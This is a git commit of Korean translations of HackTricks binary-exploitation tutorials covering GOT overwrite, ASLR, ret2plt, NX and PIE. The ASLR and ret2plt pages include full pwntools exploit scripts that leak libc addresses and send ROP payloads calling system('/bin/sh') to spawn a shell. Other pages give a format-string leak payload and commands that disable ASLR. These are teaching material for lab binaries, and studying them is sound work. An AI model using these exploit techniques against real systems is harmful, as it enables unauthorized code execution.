Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/arbitra

This commit is contained in:
Translator 2024-03-30 23:42:57 +00:00
parent 2d0358de31
commit 3da4789b5e
17 changed files with 946 additions and 108 deletions

View file

@ -705,15 +705,19 @@
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
* [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md)
* [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md)
* [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md)
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)

View file

@ -4,13 +4,13 @@
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
다른 방법으로 HackTricks를 지원하는 방법:
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
</details>
@ -18,21 +18,21 @@ HackTricks를 지원하는 다른 방법:
### **GOT: Global Offset Table**
**Global Offset Table (GOT)**은 **동적으로 연결된 이진 파일**에서 **외부 함수의 주소를 관리**하는 메커니즘입니다. 이러한 **주소는 실행 시간까지 알려지지 않기 때문에** (동적 연결 때문에), GOT는 이러한 외부 심볼의 주소가 **해결된 후에 동적으로 업데이트**는 방법을 제공합니다.
**Global Offset Table (GOT)**은 **동적으로 연결된 이진 파일**에서 **외부 함수의 주소를 관리**하는 메커니즘입니다. 이러한 **주소는 런타임에서 알려지지 않기 때문에** (동적 연결 때문에), GOT는 이러한 외부 심볼의 주소가 **해결된 후에 동적으로 업데이트**될 수 있는 방법을 제공합니다.
GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러리의 심볼에 해당합니다. **함수가 처음 호출될 때 동적 링커에 의해 실제 주소가 해결**되고 GOT에 저장됩니다. 동일한 함수에 대한 후속 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러리의 심볼에 해당합니다. **함수가 처음 호출될 때, 동적 링커에 의해 실제 주소가 해결되고 GOT에 저장**됩니다. 동일한 함수에 대한 후속 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
### **PLT: Procedure Linkage Table**
**Procedure Linkage Table (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출하면 해당 함수와 관련된 PLT 항목으로 제어가 전달**됩니다. 이 PLT 항목은 함수의 주소가 아직 해결되지 않았다면 동적 링커를 호출하여 주소를 해결합니다. 주소가 해결되면 GOT에 저장됩니다.
**Procedure Linkage Table (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 이진 파일이 **외부 함수를 처음 호출하면 해당 함수와 관련된 PLT 항목으로 제어가 전달**됩니다. 이 PLT 항목은 함수의 주소가 이미 해결되지 않았다면 동적 링커를 호출하여 주소를 해결합니다. 주소가 해결되면 GOT에 저장됩니다.
**따라서,** 외부 함수 또는 변수의 주소가 해결되면 GOT 항목이 직접 사용됩니다. **PLT 항목은 동적 링커를 통해 이러한 주소의 초기 해결을 용이하게**합니다.
**따라서,** 외부 함수 또는 변수의 주소가 해결되면 GOT 항목이 직접 사용됩니다. **PLT 항목은 동적 링커를 통해 이러한 주소의 초기 해결을 용이하게 합니다.**
## 실행 얻기
### GOT 확인
**`objdump -s -j .got ./exec`**로 GOT 테이블 주소를 얻으세요.
**`objdump -s -j .got ./exec`**로 GOT 테이블 주소를 얻습니다.
![](<../../../.gitbook/assets/image (619).png>)
@ -46,32 +46,32 @@ GEF를 사용하여 **디버깅 세션을 시작**하고 **`got`**을 실행하
### GOT2Exec
바이너리에서 GOT에는 **함수의 주소 또는** 함수 주소를 로드할 **PLT** 섹션이 있습니다. 임의 쓰기의 목표는 나중에 **실행될 함수의 GOT 항목을** 덮어쓰는 것입니다. 이때 **예를 들어** **`system`** **함수의 PLT 주소로 덮어쓰기**입니다.
이진 파일에서 GOT에는 **함수의 주소 또는** 함수 주소를 로드할 **PLT** 섹션이 있습니다. 임의 쓰기의 목표는 나중에 실행될 함수의 GOT 항목을 **예를 들어 `system` 함수의 PLT 주소로 덮어쓰는 것**입니다.
이상적으로, **제어할 수 있는 매개변수로 호출될 함수의 GOT**를 **덮어쓸 것**입니다 (따라서 시스템 함수로 전송되는 매개변수를 제어할 수 있게 됩니다).
이상적으로, **제어할 수 있는 매개변수로 호출될 함수의 GOT**를 **덮어쓸 것**입니다 (`system` 함수에 전달되는 매개변수를 제어할 수 있게 됩니다).
**`system`**이 **스크립트에서 사용되지 않으면** 시스템 함수에는 PLT 항목이 **없을 것**입니다. 이러한 시나리오에서는 먼저 `system` 함수의 주소를 누출하고 그 주소를 가리키도록 GOT를 덮어쓰어야 합니다.
**`system`**이 **스크립트에서 사용되지 않으면** 시스템 함수에는 PLT 항목이 **없을 것**입니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 누출하고 그 주소를 가리키도록 GOT를 덮어쓰어야 합니다.
**`objdump -j .plt -d ./vuln_binary`**로 PLT 주소를 볼 수 있습니다.
## **보호**
**FullRELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 **GOT 테이블을 읽기 전용**으로 만들어 이러한 기술을 방지하는 것을 목적으로 합니다:
**FullRELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 **GOT 테이블을 읽기 전용**으로 만들어 이러한 기술에 대응하도록 설계되었습니다:
{% content-ref url="../common-binary-protections/relro.md" %}
[relro.md](../common-binary-protections/relro.md)
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
{% endcontent-ref %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
다른 방법으로 HackTricks를 지원하는 방법:
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
</details>

View file

@ -0,0 +1,53 @@
# 일반적인 이진 보호 기능
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **당신의 해킹 기술을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details>
## 코어 파일 활성화
**코어 파일**은 프로세스가 충돌할 때 운영 체제에서 생성하는 파일 유형입니다. 이러한 파일은 충돌한 프로세스의 메모리 이미지를 캡처하며, 프로세스의 메모리, 레지스터, 프로그램 카운터 상태 등이 포함됩니다. 이 스냅샷은 디버깅 및 충돌 발생 이유를 이해하는 데 매우 유용할 수 있습니다.
### **코어 덤프 생성 활성화**
기본적으로 많은 시스템은 코어 파일의 크기를 0으로 제한하여 (다시 말해, 코어 파일을 생성하지 않음) 디스크 공간을 절약합니다. 코어 파일 생성을 활성화하려면 `ulimit` 명령어(배시 또는 유사한 쉘에서)를 사용하거나 시스템 전체 설정을 구성할 수 있습니다.
* **ulimit 사용**: `ulimit -c unlimited` 명령어를 사용하면 현재 쉘 세션에서 무제한 크기의 코어 파일을 생성할 수 있습니다. 이는 디버깅 세션에 유용하지만 부팅이나 새 세션 간에는 지속되지 않습니다.
```bash
ulimit -c unlimited
```
* **지속적인 구성**: 더 영구적인 해결책으로, `/etc/security/limits.conf` 파일을 편집하여 `* soft core unlimited`와 같은 줄을 추가할 수 있습니다. 이는 모든 사용자가 세션에서 ulimit을 수동으로 설정하지 않고 무제한 크기의 코어 파일을 생성할 수 있도록 합니다.
```markdown
* soft core unlimited
```
### **GDB를 사용하여 코어 파일 분석하기**
코어 파일을 분석하려면 GDB( GNU 디버거)와 같은 디버깅 도구를 사용할 수 있습니다. 실행 파일이 코어 덤프를 생성하고 코어 파일의 이름이 `core_file`인 경우 다음과 같이 분석을 시작할 수 있습니다:
```bash
gdb /path/to/executable /path/to/core_file
```
이 명령은 실행 파일과 코어 파일을 GDB에로드하여 충돌 시점의 프로그램 상태를 검사할 수 있게 합니다. GDB 명령을 사용하여 스택을 탐색하고 변수를 검사하며 충돌 원인을 이해할 수 있습니다.
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>

View file

@ -0,0 +1,144 @@
# ASLR
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details>
## 기본 정보
**Address Space Layout Randomization (ASLR)**은 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 **메모리 주소를 무작위로 변경**합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워져 공격자가 스택, 힙, 라이브러리 등을 예측하여 특정 유형의 공격(특히 버퍼 오버플로우)을 완화하는 데 도움이 됩니다.
### **ASLR 상태 확인**
Linux 시스템에서 ASLR 상태를 **확인**하려면 `/proc/sys/kernel/randomize_va_space` 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다:
* **0**: 무작위화 없음. 모든 것이 정적입니다.
* **1**: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
* **2**: 완전한 무작위화. 보수적인 무작위화에 추가로 `brk()`를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령을 사용하여 ASLR 상태를 확인할 수 있습니다:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **ASLR 비활성화**
ASLR를 **비활성화**하려면 `/proc/sys/kernel/randomize_va_space`의 값을 **0**으로 설정합니다. ASLR를 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
ASLR를 실행 중에 비활성화할 수도 있습니다:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLR 활성화**
ASLR을 **활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **부팅 시 지속성**
`echo` 명령어로 한 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 `/etc/sysctl.conf` 파일을 편집하여 다음 라인을 추가하거나 수정해야 합니다:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
`/etc/sysctl.conf` 파일을 편집한 후 다음을 사용하여 변경 사항을 적용하십시오:
```bash
sudo sysctl -p
```
이렇게 하면 ASLR 설정이 다시 부팅되어도 유지됩니다.
## **우회 방법**
### 32비트 무차별 대입
PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다:
* **코드와 데이터** (초기화된 및 초기화되지 않은): `.text`, `.data`, 및 `.bss` —> `delta_exec` 변수에서 **16비트**의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다.
* `mmap()`로 할당된 **메모리****공유 라이브러리** —> **16비트**, `delta_mmap`이라고 불림.
* **스택** —> **24비트**, `delta_stack`이라고 불림. 그러나 실제로 **11비트**를 사용합니다 (10번째부터 20번째 바이트까지 포함), **16바이트**에 정렬됨 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다.
이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 ASLR을 우회하여 공격이 성공적으로 완료될 때까지 실행을 여러 번 시도할 수 있습니다.
#### 무차별 대입 아이디어:
* 공격이 로컬인 경우, libc의 기본 주소를 무차별 대입할 수 있습니다 (32비트 시스템에 유용함):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* 원격 서버를 공격할 때 `libc` 함수 `usleep`의 주소를 **브루트 포스**하여 10을 인자로 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면, 이 함수의 주소를 찾은 것입니다.
{% hint style="success" %}
64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능합니다.
{% endhint %}
### 누출이 있는 경우
* **도전 과제는 누출을 제공하는 것입니다**
누출이 주어진 경우 (쉬운 CTF 도전 과제), 해당 누출로부터 오프셋을 계산할 수 있습니다 (예를 들어, 공격 중인 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정합니다). 이 예제 exploit은 [**여기의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하십시오):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
* **ret2plt**
버퍼 오버플로우를 악용하여 **ret2plt**를 이용하여 libc에서 함수의 주소를 유출할 수 있습니다. 확인하세요:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}
* **Format Strings Arbitrary Read**
ret2plt와 마찬가지로, 포맷 문자열 취약점을 통해 임의의 읽기가 가능하다면 **GOT**에서 **libc 함수**의 주소를 유출할 수 있습니다. 다음은 [**여기에서의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)입니다:
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
### Ret2ret
스택 내부 주소를 악용하여 ASLR을 우회해보세요:
{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %}

View file

@ -0,0 +1,96 @@
# Ret2plt
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
다른 방법으로 HackTricks를 지원하는 방법:
- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
## 기본 정보
이 기술의 목표는 **PLT에서 함수의 주소를 누설**하여 ASLR을 우회할 수 있도록 하는 것입니다. 예를 들어, libc에서 `puts` 함수의 주소를 누설하면 **`libc`의 베이스가 어디인지 계산**하고 **`system`**과 같은 다른 함수에 액세스하기 위한 오프셋을 계산할 수 있습니다.
이는 `pwntools` 페이로드를 사용하여 수행할 수 있습니다 ([**여기에서**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)).
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
**`puts`**가 `GOT`에 위치한 `puts`의 주소로 호출될 때 주목하세요. 이는 `puts``GOT` 항목을 출력할 때, 이 **항목은 메모리에 있는 `puts`의 주소를 포함**하게 되기 때문입니다.
또한, `main`의 주소가 exploit에서 사용되어 `puts`가 실행을 마치면 **바이너리가 종료되는 대신 `main`을 다시 호출**하므로 유출된 주소는 계속 유효할 것입니다.
{% hint style="danger" %}
이 작업이 작동하려면 바이너리가 **PIE로 컴파일되어서는 안 되거나** `PLT`, `GOT`, `main`의 주소를 알기 위해 **PIE를 우회할 유출을 찾아야 합니다**.
{% endhint %}
[**이 우회의 전체 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). 이것은 해당 예제의 최종 exploit이었습니다:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
다른 방법으로 HackTricks를 지원하는 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>

View file

@ -0,0 +1,26 @@
# No-exec / NX
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
</details>
## 기본 정보
**No-Execute (NX)** 비트는 인텔 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로** 공격의 효과를 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면 **실행 가능한 코드**와 **데이터**를 위해 의도된 메모리 영역을 구분합니다. 핵심 아이디어는 악의적인 코드를 예를 들어 스택에 넣고 실행 흐름을 해당 코드로 이동시켜 버퍼 오버플로 취약점을 통해 악성 코드를 실행하는 공격자를 방지하는 것입니다.
## 우회
- [**ROP**](../stack-overflow/rop-return-oriented-programing.md)와 같은 기술을 사용하여 바이너리에 이미 존재하는 실행 가능한 코드 청크를 실행하여 이 보호를 우회할 수 있습니다.
- [**Ret2libc**](../stack-overflow/ret2lib/)
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
- **Ret2...**

View file

@ -0,0 +1,55 @@
# PIE
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details>
## 기본 정보
PIE로 컴파일된 이진 파일은 **Position Independent Executable**의 약자로, **프로그램이 실행될 때마다 다른 메모리 위치에 로드**될 수 있어 하드코딩된 주소를 방지합니다.
이진 파일을 이용한 공격의 핵심은 **상대적 주소**를 이용하는 데 있습니다. 프로그램의 부분 간 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE 우회**를 위해서는 **스택**과 같은 취약점을 이용하여 일반적으로 **하나의 주소를 노출**시키면 됩니다. 한 번 주소를 얻으면 **고정된 오프셋**을 통해 다른 주소를 계산할 수 있습니다.
PIE 이진 파일을 공격할 때 유용한 팁은 메모리 페이지가 0x1000 바이트 크기로 무작위화의 단위인 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이 정렬은 올바른 기본 주소가 식별되었는지를 나타내는 것으로, **해킹이 예상대로 작동하지 않을 때 중요한 확인 사항**이 될 수 있습니다.\
